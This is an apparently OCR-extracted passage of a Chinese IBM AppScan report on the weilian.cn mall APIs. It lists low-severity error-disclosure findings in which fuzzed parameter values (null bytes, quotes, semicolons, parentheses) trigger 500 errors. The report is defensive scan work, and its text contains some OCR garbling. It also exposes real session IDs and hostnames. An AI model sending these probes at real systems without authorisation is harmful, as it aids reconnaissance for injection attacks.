User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Connection: keep-alive
Host: vr-goods-rest-enterprise.mall.xt.weilian.cn
Accept: application/json, text/javascript, */*; q=0.01
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Accept-Language: en-US, en; q=0.8
sessionId: c5b8689a1098705cd3ffdff0d57563a1
HTTP/1.1 500 Internal Server Error
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin:
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:20:58 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
For input string: ")"
```

问题 2 / 43 Toc

应用程序针	带误
严重性:	参考
CVSS 分数:	0.0
URL:	http://cms.mall.xt.weilian.cn/upload
实体:	file (Parameter)
风险:	可能会收集敏感的调试信息
原因:	未对入局参数值执行适当的边界检查 未执行验证以确保用户输入与预期的数据类型匹配

差异: 参数 已从请求除去: IBM AppScan binary content place holder

推理: 应用程序以错误消息响应,表示可能会泄露敏感信息的未定义状态。

测试请求和响应:

```
POST /upload HTTP/1.1
Content-Length: 0
sessionId: c5b8689a1098705cd3ffdff0d57563a1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Host: cms.mall.xt.weilian.cn
X-Requested-With: XMLHttpRequest
Connection: keep-alive
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Accept: application/json
```

```
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryG7zQZRO7kzsCwlCU Accept-Language: en-US,en;q=0.8

HTTP/1.1 500 Internal Server Error
Content-Length: 71
Access-Control-Allow-Headers: x-requested-with,content-type,token,md5
Server: openresty
Access-Control-Allow-Methods: GET,FOST,HEAD,PUT,DELETE,OPTIONS
Access-Control-Allow-Origin: *
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:21:22 GMT
Content-Type: application/json; charset=UTF-8

{
    "msg": "upload error!",
    "code": 500,
    "status": "500 Internal Server Error"
}
```

问题 3 / 43 Toc

应用程序针	借误
严重性:	参考
CVSS 分数:	0.0
URL:	http://vr-goods-rest-enterprise.mall.xt.weilian.cn/goodsRestApi/getGoodsStockList
实体:	pageNum (Parameter)
实体: 风险:	pageNum (Parameter) 可能会收集敏感的调试信息

变体-|1/9

差异: 参数 从以下位置进行控制: 1 至: 800

推理: 应用程序以错误消息响应,表示可能会泄露敏感信息的未定义状态。

测试请求和响应:

```
GET /goodsRestApi/getGoodsStockList?
draw=1&start=0&length=15&search%5Bvalue%5D=&search%5Bregex%5D=false&pageNum=%00&searchValue=
HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Connection: keep-alive
Host: vr-goods-rest-enterprise.mall.xt.weilian.cn
Accept: application/json, text/javascript, */*; q=0.01
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Accept-Language: en-US,en;q=0.8
sessionId: c5b8689a1098705cd3ffdff0d57563a1

HTTP/1.1 500 Internal Server Error
Access-Control-Allow-Headers: x-requested-with,content-type,sessionid
```

```
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:20:54 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
For input string: " "
```

变体-|2/9

差异: 参数 从以下位置进行控制: ① 至: 1xyz

推理: 应用程序以错误消息响应,表示可能会泄露敏感信息的未定义状态。

测试请求和响应:

```
GET /goodsRestApi/getGoodsStockList?
draw=1&start=0&length=15&search%5Bvalue%5D=&search%5Bregex%5D=false&pageNum=1XYZ&searchValue=
HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Connection: keep-alive
Host: vr-goods-rest-enterprise.mall.xt.weilian.cn
Accept: application/json, text/javascript, */*; q=0.01
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Accept-Language: en-US, en; q=0.8
sessionId: c5b8689a1098705cd3ffdff0d57563a1
HTTP/1.1 500 Internal Server Error
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:20:58 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
For input string: "1XYZ"
```

变体-13/9

差异: 参数 从以下位置进行控制: pageNum 至: ORIG VAL .

推理: 应用程序以错误消息响应,表示可能会泄露敏感信息的未定义状态。

测试请求和响应:

```
GET /goodsRestApi/getGoodsStockList?
draw=1&start=0&length=15&search%5Bvalue%5D=&search%5Bregex%5D=false&pageNum.=1&searchValue=
HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Connection: keep-alive
Host: vr-goods-rest-enterprise.mall.xt.weilian.cn
Accept: application/json, text/javascript, */*; q=0.01
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Accept-Language: en-US,en;q=0.8
```

```
HTTP/1.1 500 Internal Server Error
Access-Control-Allow-Headers: x-requested-with,content-type,sessionid
Server: openresty
Access-Control-Allow-Methods: GET,POST,HEAD,PUT,DELETE,OPTIONS
Access-Control-Allow-Origin: *
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:20:58 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
null
```

变体-|4/9

差异: 参数 从以下位置进行控制: 1 至: —

推理: 应用程序以错误消息响应,表示可能会泄露敏感信息的未定义状态。

测试请求和响应:

```
GET /goodsRestApi/getGoodsStockList?
draw=1&start=0&length=15&search%5Bvalue*5D=&search%5Bregex%5D=false&pageNum=&searchValue=
HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Connection: keep-alive
Host: vr-goods-rest-enterprise.mall.xt.weilian.cn
Accept: application/json, text/javascript, */*; q=0.01
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Accept-Language: en-US, en; q=0.8
sessionId: c5b8689a1098705cd3ffdff0d57563a1
HTTP/1.1 500 Internal Server Error
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:20:58 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
For input string: ""
```

变体-|5/9

差异: 参数 从以下位置进行控制: [pageNum] 至: __ORIG_VAL_[]

推理: 应用程序以错误消息响应,表示可能会泄露敏感信息的未定义状态。

测试请求和响应:

```
GET /goodsRestApi/getGoodsStockList?
draw=1&start=0&length=15&search%5Bvalue%5D=&search%5Bregex%5D=false&pageNum%5B%5D=1&searchValue=
HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
```

```
Connection: keep-alive
Host: vr-goods-rest-enterprise.mall.xt.weilian.cn
Accept: application/json, text/javascript, */*; q=0.01
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Accept-Language: en-US, en; q=0.8
sessionId: c5b8689a1098705cd3ffdff0d57563a1
HTTP/1.1 500 Internal Server Error
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:20:58 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
```

变体-|6/9

差异:

参数 已从请求除去: 1

推理:

应用程序以错误消息响应,表示可能会泄露敏感信息的未定义状态。

测试请求和响应:

```
GET /goodsRestApi/getGoodsStockList?
draw=1&start=0&length=15&search%5Bvalue%5D=&search%5Bregex%5D=false&searchValue= HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Connection: keep-alive
Host: vr-goods-rest-enterprise.mall.xt.weilian.cn
Accept: application/json, text/javascript, */*; q=0.01
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Accept-Language: en-US, en; q=0.8
sessionId: c5b8689a1098705cd3ffdff0d57563a1
HTTP/1.1 500 Internal Server Error
{\tt Access-Control-Allow-Headers:} \  \, {\tt x-requested-with, content-type, sessionid}
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:20:58 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
null
```

变体-|7/9

差异: 参数 从以下位置进行控制: 1 至: %27

推理: 应用程序以错误消息响应,表示可能会泄露敏感信息的未定义状态。

测试请求和响应:

GET /goodsRestApi/getGoodsStockList? draw=1&start=0&length=15&search%5Bvalue%5D=&search%5Bregex%5D=false&pageNum=%27&searchValue=

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```
HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Connection: keep-alive
Host: vr-goods-rest-enterprise.mall.xt.weilian.cn
Accept: application/json, text/javascript, */*; q=0.01
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Accept-Language: en-US, en; q=0.8
sessionId: c5b8689a1098705cd3ffdff0d57563a1
HTTP/1.1 500 Internal Server Error
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:20:58 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
For input string: "'"
```

变体-|8/9

差异: 参数 从以下位置进行控制: 1 至: ;

推理: 应用程序以错误消息响应,表示可能会泄露敏感信息的未定义状态。

测试请求和响应:

```
GET /goodsRestApi/getGoodsStockList?
draw=1&start=0&length=15&search%5Bvalue%5D=&search%5Bregex%5D=false&pageNum=;&searchValue=
HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Connection: keep-alive
Host: vr-goods-rest-enterprise.mall.xt.weilian.cn
Accept: application/json, text/javascript, */*; q=0.01
Origin: \verb|http://system-rest-enterprise.mall.xt.weilian.cn|
Accept-Language: en-US, en; q=0.8
sessionId: c5b8689a1098705cd3ffdff0d57563a1
HTTP/1.1 500 Internal Server Error
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
Connection: close
Date: Fri, 12 Jan 2018 03:20:58 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
For input string: ";"
```

变体-|9/9

差异: 参数 从以下位置进行控制: ① 至: ①

推理: 应用程序以错误消息响应,表示可能会泄露敏感信息的未定义状态。

测试请求和响应:

```
GET /goodsRestApi/getGoodsStockList?
draw=1&start=0&length=15&search%5Bvalue%5D=&search%5Bregex%5D=false&pageNum=)&searchValue=
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Connection: keep-alive
Host: vr-goods-rest-enterprise.mall.xt.weilian.cn
Accept: application/json, text/javascript, */*; q=0.01
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Accept-Language: en-US, en; q=0.8
sessionId: c5b8689a1098705cd3ffdff0d57563a1
HTTP/1.1 500 Internal Server Error
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin:
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:20:58 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
For input string: ")"
```

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应用程序针	带误
严重性:	参考
CVSS 分数:	0.0
URL:	http://h5config-rest-enterprise.mall.xt.weilian.cn/order/selectCmsOrderList/0
12 Mar.	
实体:	pageNum (Parameter)
风险:	可能会收集敏感的调试信息

变体-|1/10

差异: 参数 从以下位置进行控制: 1 至: %00

推理: 应用程序以错误消息响应,表示可能会泄露敏感信息的未定义状态。

测试请求和响应:

```
GET /order/selectCmsOrderList/0?pageNum=%00&pageSize=15 HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Referer: http://h5config-rest-enterprise.mall.xt.weilian.cn/static/orderpage/saleOrderList.html?
sessionId=6cecd9abca2a5797bbb71b3bef6db3f8
Connection: keep-alive
```

```
Host: h5config-rest-enterprise.mall.xt.weilian.cn
X-Requested-With: XMLHttpRequest
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.8
sessionId: c5b8689a1098705cd3ffdff0d57563a1

HTTP/1.1 500 Internal Server Error
Access-Control-Allow-Headers: x-requested-with,content-type,sessionid
Server: openresty
Access-Control-Allow-Methods: GET,POST,HEAD,FUT,DELETE,OPTIONS
Access-Control-Allow-Origin: *
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:20:54 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked

For input string: " "
```

变体-|2/10

差异: 参数 从以下位置进行控制: 1 至: 1xyz

推理: 应用程序以错误消息响应,表示可能会泄露敏感信息的未定义状态。

测试请求和响应:

```
GET /order/selectCmsOrderList/0?pageNum=1XYZ&pageSize=15 HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Referer: http://h5config-rest-enterprise.mall.xt.weilian.cn/static/orderpage/saleOrderList.html?
sessionId=6cecd9abca2a5797bbb71b3bef6db3f8
Connection: keep-alive
Host: h5config-rest-enterprise.mall.xt.weilian.cn
X-Requested-With: XMLHttpRequest
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US, en; q=0.8
sessionId: c5b8689a1098705cd3ffdff0d57563a1
HTTP/1.1 500 Internal Server Error
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:20:58 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
For input string: "1XYZ"
```

变体-|3/10

差异: 参数 从以下位置进行控制: 1 至: 827

推理: 应用程序以错误消息响应,表示可能会泄露敏感信息的未定义状态。

测试请求和响应:

```
GET /order/selectCmsOrderList/0?pageNum=%27&pageSize=15 HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
```

```
Referer: http://h5config-rest-enterprise.mall.xt.weilian.cn/static/orderpage/saleOrderList.html?
sessionId=6cecd9abca2a5797bbb71b3bef6db3f8
Connection: keep-alive
Host: h5config-rest-enterprise.mall.xt.weilian.cn
X-Requested-With: XMLHttpRequest
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US, en; q=0.8
sessionId: c5b8689a1098705cd3ffdff0d57563a1
HTTP/1.1 500 Internal Server Error
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:20:58 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
For input string: "'"
```

变体-|4/10

差异: 参数 /

参数 从以下位置进行控制: 1 至: ;

推理: 应用程序以错误消息响应,表示可能会泄露敏感信息的未定义状态。

测试请求和响应:

```
GET /order/selectCmsOrderList/0?pageNum=;&pageSize=15 HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Referer: http://h5config-rest-enterprise.mall.xt.weilian.cn/static/orderpage/saleOrderList.html?
sessionId=6cecd9abca2a5797bbb71b3bef6db3f8
Connection: keep-alive
Host: h5config-rest-enterprise.mall.xt.weilian.cn
X-Requested-With: XMLHttpRequest
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US, en; q=0.8
sessionId: c5b8689a1098705cd3ffdff0d57563a1
HTTP/1.1 500 Internal Server Error
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
Connection: close
Date: Fri, 12 Jan 2018 03:20:58 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
For input string: ";"
```

变体-|5/10

差异: 参数 从以下位置进行控制: ① 至: ①

推理: 应用程序以错误消息响应,表示可能会泄露敏感信息的未定义状态。

测试请求和响应:

```
GET /order/selectCmsOrderList/0?pageNum=)&pageSize=15 HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Referer: http://h5config-rest-enterprise.mall.xt.weilian.cn/static/orderpage/saleOrderList.html?
sessionId=6cecd9abca2a5797bbb71b3bef6db3f8
Connection: keep-alive
Host: h5config-rest-enterprise.mall.xt.weilian.cn
X-Requested-With: XMLHttpRequest
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US, en; q=0.8
sessionId: c5b8689a1098705cd3ffdff0d57563a1
HTTP/1.1 500 Internal Server Error
{\tt Access-Control-Allow-Headers: x-requested-with, content-type, sessionid}
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:20:58 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
For input string: ")"
```

变体-|6/10

差异: 参数 从以下位置进行控制: ① 至: %00

推理: 应用程序以错误消息响应,表示可能会泄露敏感信息的未定义状态。 测试请求和响应:

```
GET /order/selectCmsOrderList/0?pageNum=%00&pageSize=15&orderNo=&goodsname= HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
{\tt Referer:\ http://h5config-rest-enterprise.mall.xt.weilian.cn/static/orderpage/saleOrderList.html?}
sessionId=6cecd9abca2a5797bbb71b3bef6db3f8
Connection: keep-alive
Host: h5config-rest-enterprise.mall.xt.weilian.cn
X-Requested-With: XMLHttpRequest
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US, en; q=0.8
sessionId: c5b8689a1098705cd3ffdff0d57563a1
HTTP/1.1 500 Internal Server Error
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:20:54 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
For input string: " "
```

变体-|7/10

差异: 参数 从以下位置进行控制: 1 至: 1xyz

推理: 应用程序以错误消息响应,表示可能会泄露敏感信息的未定义状态。

测试请求和响应:

```
GET /order/selectCmsOrderList/0?pageNum=1XYZ&pageSize=15&orderNo=&goodsname= HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Referer: http://h5confiq-rest-enterprise.mall.xt.weilian.cn/static/orderpage/saleOrderList.html?
sessionId=6cecd9abca2a5797bbb71b3bef6db3f8
Connection: keep-alive
Host: h5config-rest-enterprise.mall.xt.weilian.cn
X-Requested-With: XMLHttpRequest
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US, en; q=0.8
sessionId: c5b8689a1098705cd3ffdff0d57563a1
HTTP/1.1 500 Internal Server Error
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:20:58 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
For input string: "1XYZ"
```

变体-|8/10

差异:

参数 从以下位置进行控制: 1 至: \$27



推理:

应用程序以错误消息响应,表示可能会泄露敏感信息的未定义状态。

测试请求和响应:

```
GET /order/selectCmsOrderList/0?pageNum=%27&pageSize=15&orderNo=&goodsname= HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Referer: http://h5config-rest-enterprise.mall.xt.weilian.cn/static/orderpage/saleOrderList.html?
sessionId=6cecd9abca2a5797bbb71b3bef6db3f8
Connection: keep-alive
Host: h5config-rest-enterprise.mall.xt.weilian.cn
X-Requested-With: XMLHttpRequest
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US, en; q=0.8
sessionId: c5b8689a1098705cd3ffdff0d57563a1
HTTP/1.1 500 Internal Server Error
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:20:58 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
For input string: "'"
```

变体-|9/10

差异: 参数 从以下位置进行控制: 1 至: ;





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应用程序以错误消息响应,表示可能会泄露敏感信息的未定义状态。 推理: 测试请求和响应:

```
GET /order/selectCmsOrderList/0?pageNum=;&pageSize=15&orderNo=&goodsname= HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Referer: http://h5confiq-rest-enterprise.mall.xt.weilian.cn/static/orderpage/saleOrderList.html?
sessionId=6cecd9abca2a5797bbb71b3bef6db3f8
Connection: keep-alive
Host: h5config-rest-enterprise.mall.xt.weilian.cn
X-Requested-With: XMLHttpRequest
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US, en; q=0.8
sessionId: c5b8689a1098705cd3ffdff0d57563a1
HTTP/1.1 500 Internal Server Error
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
Connection: close
Date: Fri, 12 Jan 2018 03:20:58 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
For input string: ";"
```

变体- | 10 / 10

差异:

参数 从以下位置进行控制: 1 至:)

推理:

应用程序以错误消息响应,表示可能会泄露敏感信息的未定义状态。

测试请求和响应:

```
GET /order/selectCmsOrderList/0?pageNum=) &pageSize=15&orderNo=&goodsname= HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Referer: http://h5config-rest-enterprise.mall.xt.weilian.cn/static/orderpage/saleOrderList.html?
sessionId=6cecd9abca2a5797bbb71b3bef6db3f8
Connection: keep-alive
Host: h5config-rest-enterprise.mall.xt.weilian.cn
X-Requested-With: XMLHttpRequest
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US, en; q=0.8
sessionId: c5b8689a1098705cd3ffdff0d57563a1
HTTP/1.1 500 Internal Server Error
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:20:58 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
For input string: ")"
```

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应用程序针	世 误
严重性:	参考
CVSS 分数:	0.0
URL:	http://h5config-rest-enterprise.mall.xt.weilian.cn/order/selectCmsOrderList/0
- N - # II	
实体:	pageSize (Parameter)
实体: 风险:	pageSize (Parameter) 可能会收集敏感的调试信息

变体-|1/10

差异: 参数 从以下位置进行控制: 15 至: 1500

推理: 应用程序以错误消息响应,表示可能会泄露敏感信息的未定义状态。

测试请求和响应:

```
GET /order/selectCmsOrderList/0?pageNum=1&pageSize=%00 HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Referer: http://h5config-rest-enterprise.mall.xt.weilian.cn/static/orderpage/saleOrderList.html?
sessionId=6cecd9abca2a5797bbb71b3bef6db3f8
Connection: keep-alive
Host: h5config-rest-enterprise.mall.xt.weilian.cn
{\tt X-Requested-With:} \ {\tt XMLHttpRequest}
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US, en; q=0.8
sessionId: c5b8689a1098705cd3ffdff0d57563a1
HTTP/1.1 500 Internal Server Error
{\tt Access-Control-Allow-Headers:} \  \, {\tt x-requested-with, content-type, sessionid}
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:20:54 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
For input string: " "
```

变体-|2/10

推理: 应用程序以错误消息响应,表示可能会泄露敏感信息的未定义状态。

测试请求和响应:

```
GET /order/selectCmsOrderList/0?pageNum=1&pageSize=15XYZ HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
```

```
Chrome/57.0.2987.133 Safari/537.36
Referer: http://h5config-rest-enterprise.mall.xt.weilian.cn/static/orderpage/saleOrderList.html?
sessionId=6cecd9abca2a5797bbb71b3bef6db3f8
Connection: keep-alive
Host: h5config-rest-enterprise.mall.xt.weilian.cn
X-Requested-With: XMLHttpRequest
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US, en; q=0.8
sessionId: c5b8689a1098705cd3ffdff0d57563a1
HTTP/1.1 500 Internal Server Error
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:20:58 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
For input string: "15XYZ"
```

变体- | 3 / 10

推理: 应用程序以错误消息响应,表示可能会泄露敏感信息的未定义状态。

测试请求和响应:

```
GET /order/selectCmsOrderList/0?pageNum=1&pageSize=%27 HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
{\tt Referer:\ http://h5config-rest-enterprise.mall.xt.weilian.cn/static/orderpage/saleOrderList.html?}
sessionId=6cecd9abca2a5797bbb71b3bef6db3f8
Connection: keep-alive
Host: h5config-rest-enterprise.mall.xt.weilian.cn
X-Requested-With: XMLHttpRequest
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US, en; q=0.8
sessionId: c5b8689a1098705cd3ffdff0d57563a1
HTTP/1.1 500 Internal Server Error
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:20:58 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
For input string: "'"
```

变体- | 4 / 10

差异: 参数 从以下位置进行控制: 15 至: ;

